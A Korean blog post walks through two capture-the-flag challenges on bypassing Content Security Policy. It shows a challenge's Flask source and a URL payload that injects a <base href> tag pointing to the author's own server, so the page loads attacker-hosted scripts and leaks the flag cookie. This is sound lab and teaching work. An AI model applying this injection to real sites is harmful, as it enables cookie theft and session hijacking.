Web Hacking/DreamHack

[DreamHack] CSP Bypass Advanced + [Webhacking.kr] BABY

프레딕 2024. 7. 17. 17:44
728x90

CSP BYPASS 문제이다.

드림핵과 웹해킹.kr 두 문제를 풀어보니 거의 비슷한 문제여서 한번에 writeup을 작성하려 한다.

먼저 본격적인 풀이 전에 CSP에 대해 간단히 알아보자면 XSS를 방지하기 위해 태그들에 여러 규칙을 정의해 놓은걸 뜻한다.

뭐 예를 들어

 

1. nonce

nonce를 지정해주면 <script nonce=랜덤값> nonce 필드에 랜덤 base64값이 들어가는데 이거랑 맞아야 script태그를 실행 가능하다.

근데 이건 거의 bypass가 불가능하다.

 

2. -src 규칙

default-src -src로 끝나는 모든 지시문의 기본 동작을 제어합니다. 만약 CSP 구문 내에서 지정하지 않은 지시문이 존재한다면 default-src의 정의를 따라갑니다.
img-src 이미지를 로드할 수 있는 출처를 제어합니다.
script-src 스크립트 태그 관련 권한과 출처를 제어합니다.
style-src 스타일시트 관련 권한과 출처를 제어합니다.
child-src 페이지 내에 삽입된 프레임 컨텐츠에 대한 출처를 제어합니다.
base-uri 페이지의 <base> 태그에 나타날 수 있는 URL을 제어합니다.

요건 드림핵에 있는거 긁어온거다.

여러 속성을 붙일 수 있는데 

self : 해당 페이지 출처로 제한

none : 모든 출처 허용 X

https://example.com : 해당 링크 출처만 허용 (이때 서브도메인이랑 포트는 와일드카드 이용해 표현 가능)

unsafe-eval : 예외적으로 eval 가능

unsaef-inline : 예외적으로 인라인 허용

 

뭐 이정도만 알면 될것 같다.

그럼 드림핵 문제를 보겠다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

 

사실상 봐야할 부분은 아래 한가지이다.

    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"

보면 대충 nonce 사용하고 나머지 src는 다 self 규칙을 적용한다.

하지만 base uri에 대한 부분은 규칙을 정하지 않았기때문에 base를 이용해 조작 가능하다.

아래는 vuln 페이지 코드이다.

/static/js/jquery.min.js랑 /static/js/bootstrap.min.js 코드를 불러온다.

이때 base가 설정되어있지 않다면 알아서 127.0.0.1 즉 같은 페이지의 코드를 불러오지만

만약 base를 다른 서버로 조작한다면? 그 서버의 js를 갖고올것이다.

 

나는 goorm ide를 사용해서 서버를 구성했다.

그리고 서버에 /static/js/bootstrap.min.js 코드를 만들어줬다.

http://host3.dreamhack.games:13890/vuln?param=<base href="https://서버주소/">

 

Index CSP-Bypass-Advanced

 

host3.dreamhack.games:13890

요렇게 보내준다면? base uri가 서버주소로 설정되어서 cookie 탈취가 가능하다.

webhacking.kr 문제도 이와 똑같기 때문에 생략하겠다.

728x90
반응형